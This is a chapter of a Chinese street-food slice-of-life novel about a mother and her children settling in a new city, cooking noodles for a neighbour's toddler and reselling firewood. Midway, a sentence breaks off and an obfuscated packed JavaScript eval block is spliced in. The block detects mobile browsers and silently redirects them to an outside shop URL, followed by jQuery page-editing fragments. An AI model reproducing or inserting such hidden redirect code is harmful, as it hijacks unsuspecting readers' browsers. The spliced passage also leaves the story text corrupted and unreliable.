7. 第 7 章
作品:《市井摆摊美食日常》 姜氏被姜宁晃醒,立刻有一股霸道的香味顺着鼻孔往里钻,挠得鼻子痒痒的,她梦见在正店吃席呢,鼻翼动了动,那股味道更浓郁了,原来不是做梦?
她翻身一骨碌起床,顺着香味走到桌子前,忍不住抄筷子夹了缕草绿色葱碎品尝,入嘴咸香酥脆,勾起了一肚子的馋虫。挑了一丝面条,弹韧有嚼劲,不稀趴趴的,蘸点焦黄的葱油,面的甜,油的香,盐的咸,复合在一起,层次分明在舌尖上分次爆开,又和成一股极致的鲜,嘶,好霸道的面条。
她三两下拌均匀,开始大嘴大嘴吃起来,吃到一半抬头不舍道:“这面味道极好,我分一些给你们?”
苏慎嘴里满满的,手忙脚乱用筷子旋转裹下一轮面条,他鼓着腮帮子摇头,意思不用。
姜宁解释:“你尽管吃,我足足煮了半斤面,我和弟弟一人一小碗,够够的。我还送了一小碗给前院魏大娘。”
姜氏含糊赞同:“我们才搬来,对她多有麻烦,是该送些东西去,你做的很好。”
一碗瓷实的面条下了肚,姜氏觉得她现在强得可怕,浑身充满了干劲儿,上午没寻摸到活计的愁闷一扫而空。
碗底还汪着一层焦黄的油,她舍不得浪费,从锅里舀出些滚汤倒在碗里,焦绿的油花飘在雪白的汤面上,撒上点粗盐,入口浓郁滑润,棒极了。
接连喝下两碗面汤,姜氏浑身洋溢着满足,打了个嗝,好过瘾,距离上次这样吃得心满意足,是死鬼还在的时候吧。
她摇摇头,甩开不当吃不当喝的思念,转而询问姜宁:“你做饭的手艺怎么突然变好了?”
姜宁早知道她会有此一问,把空了一半的油葫芦摆在她面前,一副得意洋洋的模样:“早和阿奶说了八百回,做饭多放米要多放油多放盐,诺,今天油盐我做主,味道好吧!看把阿慎饿的,皮包骨头了。”
问就是阿奶的极致节省,埋没了她做饭的天分。
回想婆婆一贯小气,炖只鸡放黄豆大点盐的行为,姜氏深以为然,再好的食材到她手里都变得寡淡无味。
她摇一下油瓶,适才吃面时有多满足,现在就有多肉疼,乖乖,一顿面用掉半壶油,这哪是吃面,吃的是她的命。
视线落在对面两人尖得能戳人的下巴上,要节俭的话在嘴里转个圈拐了个弯:“没事,我能搬麻袋赚钱,你放开了整,你和阿慎都瘦,如今我们自己当家,合该吃饱些。”
“到了花城,那边徭役轻,我们可以多花些钱在吃喝上。”
她交代了两句小心烧火,不准在井边玩耍的话,提着扁担又出了门,寻摸活计,顺便买一担柴回来。
前院的魏婆小孙子板栗睡醒后开始哼哼唧唧,魏婆子探手一摸,小板栗又睡一背的汗,这娃儿打小虚汗大,拿被子捂着帮他换了身干爽的衣裳,耽搁了一会,午饭便比往常迟了些,饿极了的板栗开始呜哇呜哇嚎,魏婆子越发手忙脚乱,既要忙着烧火添柴,又要忙着洗锅熬粥。
这当头,苏慎端了碗面条来,小嘴叭叭说给她添麻烦了。
魏婆子心下点头,嗨,这租客还挺有边界感,借了几颗葱,几根柴火,就慌着来还礼了。
最便宜的褐色陶碗里躺着粗细均匀的面条,淋了香油,或焦黄,或草绿,或翠绿的葱碎点缀在灰白色的面条上,看着便让人口齿生津。
若是平时,她决计不会让一岁半的板栗吃灰面的,这种面粉要么是陈麦磨的,口感不佳,要么混了麦麸,比较粗糙。今日实在手忙脚乱,孙子饿得等不及,她把面条搅拌两下,先尝一口,没有怪味,反而异常的香,弹韧却柔然,把心放到肚子里,一丝一丝挑起来送到板栗小嘴边,许是这孩子恶狠了,竟不闹腾,乖乖坐着吃掉大半碗,还啊啊啊张着嘴等投喂。
不过剩下的她自己吃了,这娃儿肚量便是三分之一碗软米饭。平时多喂一口,便吭哧倒怪的,不是噗噗往外吐,便是左右摆头不愿意咽,今日如此懂事,让她好一阵欣慰感叹,小板栗长大了呢!
让她惊喜的还在后面,孩子吃完饭摇摇晃晃自个玩,这里摸摸,那里掏掏,不再哼哼唧唧要抱,让她老腰得了一天的清闲。
不过,她高兴早了些。
到了晚间吃饭,混小子开始噗噗噗吐软米饭,一口都不愿意吞,然后啊啊啊长大嘴巴等着。等到一勺软米饭进嘴,他尝一口又开始噗噗噗吐,还委屈的哭上了。
她恍然大悟,这浑小子该不会想吃午间的面条吧?
可是,家里没面粉,她也不会做面条啊!
面前的浑小子嗷嗷嗷嚎个不停,没奈何,厚着脸皮抱着孙子到后院讨一口饭吃。
到了后院,只那闺女和小子在家,她说明来意,姜宁抱歉道:“魏大娘,不是我不给,我们今晚没做面条,揉面煮面条一时半会弄不出来,得等约莫半个时辰,小板栗可等得?”
她瞟一眼小奶娃,这孩子被哆哆叫的小母鸡吸引了注意力,暂时忘了哭。
说完,她揭开锅盖,露出锅里闷好的米饭,和米饭上一碗黄生生油津津的鸡蛋羹。
魏婆子看一眼鸡蛋羹,同样是鸡蛋羹,这闺女的鸡蛋羹怎么感觉和她炖的不一样,好更年轻一些?
她试探道:“闺女,要不把你做的饭和鸡蛋羹,卖我们板栗半碗,先让他吃吃看,若不愿意吃,你帮我单独下碗面条,像你家早上那个味,我不白要你的,给你五个铜板,怎么样?”
外头七个铜板一碗阳春面,十个铜板一碗肉酱面,孙子只要半小碗,这闺女不亏。
哪知姜宁摇头不愿意。
魏婆子脸色有些不好:“是嫌钱少了吗?我给你十个铜板怎么样?”
姜宁摇手解释:“不不不,魏大娘,你误会了,一碗米面的事,我哪能要你的钱。是这样,我娘为了省钱,买的陈面和陈米,虽说没受潮,但口感不佳,小娃儿肠胃娇嫩,不晓得会不会吃坏肚子,要能等,我去街上买斤白面来现做给他,你看好吗?”
这闺女做事敞亮,魏婆子脸上晴转多云,拉着她的手:“是阿宁闺女吧,没事,他就爱吃陈粮,这浑小子饿起来,哪里等得。你不知道,我特意买的新米做给他吃,他硬是一口不愿意咽啊,噗噗喷得我一身,就把你家饭给他尝尝。”说着自己去动手揭锅盖。
谁好人家爱吃陈粮啊,魏大娘这话说的。
她观察小板栗挺机灵一个小奶娃,他是小,又不是傻。
姜宁不愿意担风险,接了她的碗,舀了满满两勺颤巍巍的鸡蛋羹:“魏大娘,这样,小母鸡吃饱了你家菜园的虫子,今日下了两只蛋,新鲜,给他吃这个好,再把你家的新米饭添上一些,你哄着他吃些垫吧肚子,我去街上尽快买新白面回来,你看行不?”
魏婆子看了看天色,快掌灯了,她哪能让个清秀的小女郎到处乱走,连忙拉住姜宁:“先给他吃吃看,不愿意吃,我再去买,你也找不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991613|193739||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到路啊!”
魏婆子舀起一勺颤巍巍淡黄的鸡蛋羹,上头沾了些焦黄的油花,看着就嫩,她试着喂到孙子嘴里,浑小子先抿了抿,眉眼舒展咽下了肚,然后阿张大大嘴巴,示意阿奶继续投喂。
魏婆子怅然若失,孩子是嫌弃她做的饭不好吃么?
一边的姜宁提醒:“魏大娘,鸡蛋羹不顶饿,添半勺你家的新米饭给他啊!”
魏婆子哦一声告辞抱着孩子往前院去,姜氏挑着半担干柴火回来。
她吧柴火放在房檐下面,眉开眼笑,晃了晃手里的钱袋;“哈,叶城的钱果然好赚,快过来,数数我这一下午,赚了多少?”
苏慎兴奋接过铜钱,丁零当啷倒在桌上数起来:“一个,两个,三个,……十八个,二十个!娘,你真厉害,一下午就赚这么多钱。”
姜氏纠结的拍了他一巴掌:“文盲,是十九个!”
被打的苏慎很给力的彩虹屁:“阿娘好厉害的,一下午就十九个,一个月就,就就……”
“就五百七十个!”姜宁端来热水,顺嘴接到。“平时教你数数,你不好好学,看看,赚了钱数不清楚!”
苏慎一个一个扒着铜钱看,嘿嘿:“怕什么,到时候我赚钱,我媳妇数钱就是!”
两人无语,这小子一天到晚挂着娶媳妇,懒得搭理他。
姜宁找出姜氏的布巾递给她:“娘擦擦汗吧,是找到搬麻袋的活计了吗?”
姜氏双手伸到些微烫的木盆里,立马舒服的哆嗦了一下,用热水洗手擦了脸,道:“搬麻袋一天能得300文,哪里那么好找到。”
头发上一股子汗臭味,擦不掉,洗头又太麻烦,她有些羡慕的扫一眼儿子女儿带着头巾的脑袋。
她解释:“下午去东门等装车的货物,挤不上,后来看到个卖柴的,要价50文,我砍价到30文买了一担,打算先送回来,哪知半路有个妇人喊住我,以为我是卖柴的,问我一围10文卖不卖?
当然卖了,一担能分6围多,一围散卖10文能赚5文。我挑着柴火沿着小巷到处询问,叫我卖了4围,本来应该赚到20文。”
说到这,她有些咬牙切齿:“幸好没有住在昨日坑坑洼洼那个巷子,里头有个婆娘抠门得很,只愿意给9文一围,所以才赚了19文。”
姜宁暗道,叶城百姓家家户户生火做饭,烧柴的多,用炭的少,柴火需求量很大的,普通百姓,为生计奔波,一下子拿出50多60文买一个月柴火,大部分百姓掏不出,或说舍不得拿出这么多闲钱,所以有那么多一围一围买的,姜氏上门叫卖,还省了跑一趟集市的功夫。
而城外的卖柴的樵夫,挑去市场需交10文的摊位费,摆摊一天不一定卖得掉,担柴散卖,试问,几个家庭主妇敢和壮硕的陌生男子搭话?
所以樵夫宁愿低价倒手给姜氏,再上山去砍柴,符合最大收益。
为什么姜氏之前不砍柴到城里售卖呢?自然是她砍柴只够苏家烧用,根本没想过这回事。
姜宁复盘前因后果,啧一声,所以,上天给姜氏关了抗麻袋的门,打开卖柴的窗?她的事业有了眉目,那自己的在哪呢?
这一晚,姜氏睡得比较晚,一方面是仅用了一下午就赚了19文,激动的。另一方面是头痒痒得睡不着,她听着耳边女儿儿子平稳的呼吸声,再次体会到光头的好处,剃,必须剃,剃了头才能洗干净臭汗,睡个好觉。

